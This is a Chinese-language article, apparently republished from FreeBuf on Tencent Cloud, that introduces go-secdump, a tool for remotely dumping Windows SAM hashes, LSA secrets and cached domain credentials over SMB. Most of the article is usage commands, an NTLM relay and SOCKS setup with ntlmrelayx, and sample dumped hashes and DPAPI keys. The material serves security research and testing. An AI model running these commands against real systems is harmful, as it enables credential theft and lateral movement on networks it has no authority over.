前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >go-secdump:一款Windows注册表安全测试工具

go-secdump:一款Windows注册表安全测试工具

作者头像
FB客服
发布2024-07-22 18:49:18
170
发布2024-07-22 18:49:18
举报
文章被收录于专栏:FreeBuf
go-secdump是一款功能强大的Windows注册表安全检测工具,该工具基于Go语言开发,能够利用远程转储目标设备Windows注册表中的机密来检测其安全防护态势。

运行机制

该工具基于go-smb实现其功能,支持通过远程转储的形式从目标设备SAM注册表配置单元提取哈希值以及从SECURITY配置单元提取LSA敏感数据和缓存哈希值,整个过程无需任何远程代理,也无需接触磁盘。

该工具本质上是一个PoC,可以帮助广大研究人员了解和研究Windows注册表中SAM配置单元和SECURITY配置单元等内容的安全保护方式,以期更好地提升Windows设备的系统安全性。

工具下载

由于该工具基于Go语言开发,因此我们首先需要在本地设备上安装并配置好最新版本的Go环境。

源码构建

接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/jfjallid/go-secdump.git

然后切换到项目目录中,使用下列命令完成源码构建:

代码语言:javascript
复制
cd go-secdump

go build main.go

工具使用帮助

代码语言:javascript
复制
Usage: ./go-secdump [options]



options:

      --host <target>        远程服务器的主机名或IP地址

  -P, --port <port>          SMB端口 (默认为445)

  -d, --domain <domain>     用于登录的域用户名

  -u, --user <username>     用户名

  -p, --pass <pass>         密码

  -n, --no-pass             禁用密码提示,不发送凭据

      --hash <NT Hash>     用户密码的十六进制编码NT哈希

      --local                作为本地用户而不是域用户进行身份验证

      --dump                将SAM和SECURITY配置单元保存到磁盘

      --sam                 显式提取SAM配置单元中的机密

      --lsa                 显式提取LSA机密

      --dcc2                显式提取DCC2缓存

      --backup-dacl         在修改之前将原始DACL存储至磁盘

      --restore-dacl        使用磁盘备份恢复DACL

      --backup-file         DACL备份文件名 (默认为dacl.backup)

      --relay               启用SMB监听器,用于将NTLM身份验证中继到远程服务器,强制使用SMB 2.1,无加密

      --relay-port <port>    监听端口实现中继 (默认为445)

      --socks-host <target> 通过SOCKS5代理服务器建立连接

      --socks-port <port>   SOCKS5 proxy port (默认为1080)

  -t, --timeout               超时时长 (默认为5)

      --noenc               禁用SMB加密

      --smb2                强制使用SMB 2.1

      --debug               启用Debug模式

      --verbose             启用Verbose模式

  -o, --output              写入结果的文件名 (默认为stdout)

  -v, --version             显示工具版本信息

修改DACL

go-secdump将自动尝试修改然后恢复目标注册表项的DACL,但如果在恢复过程中出现问题(例如网络断开连接或其他中断),则远程注册表将保留修改后的 DACL。

使用--backup-dacl参数可以存储修改前的原始DACL的序列化副本。如果发生连接问题,可以使用--restore-dacl参数从文件中恢复DACL。

工具使用样例

转储所有的注册表机密

代码语言:javascript
复制
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local

or

代码语言:javascript
复制
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

仅转储SAM、LSA或DCC2缓存机密

代码语言:javascript
复制
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2

NTLM中继

该工具还支持使用NTLM中继转储注册表机密,下列命令可开启监听器:

代码语言:javascript
复制
./go-secdump --host 192.168.0.100 -n --relay

想办法触发一个具备管理员访问权限的客户端去访问192.168.0.100,然后等待机密转储成功即可:

代码语言:javascript
复制
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805

YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!

Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0

2023/12/13 14:47:28 [Notice] [+] Signing is NOT required

2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator

[*] Dumping local SAM hashes

Name: Administrator

RID: 500

NT: 2727D7906A776A77B34D0430EAACD2C5



Name: Guest

RID: 501

NT: <empty>



Name: DefaultAccount

RID: 503

NT: <empty>



Name: WDAGUtilityAccount

RID: 504

NT: <empty>



[*] Dumping LSA Secrets

[*] $MACHINE.ACC

$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4

$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...

[*] DPAPI_SYSTEM

dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100

dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939

[*] NL$KM

NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74

[*] Dumping cached domain credentials (domain/username:hash)

DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab

...

SOCKS代理

当使用 ntlmrelayx.py 作为上行代理时,提供的用户名必须与经过身份验证的客户端匹配,但密码可以为空:

代码语言:javascript
复制
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server

...

 

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080

许可证协议

本项目的开发与发布遵循MIT开源许可协议。

项目地址

go-secdump:

https://github.com/jfjallid/go-secdump

https://github.com/jfjallid/go-smb https://www.passcape.com/index.php?section=docsys&cmd=details&id=23 http://www.beginningtoseethelight.org/ntsecurity/index.htm https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 源码构建
  • 修改DACL
  • 转储所有的注册表机密
  • 仅转储SAM、LSA或DCC2缓存机密
  • NTLM中继
  • SOCKS代理
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档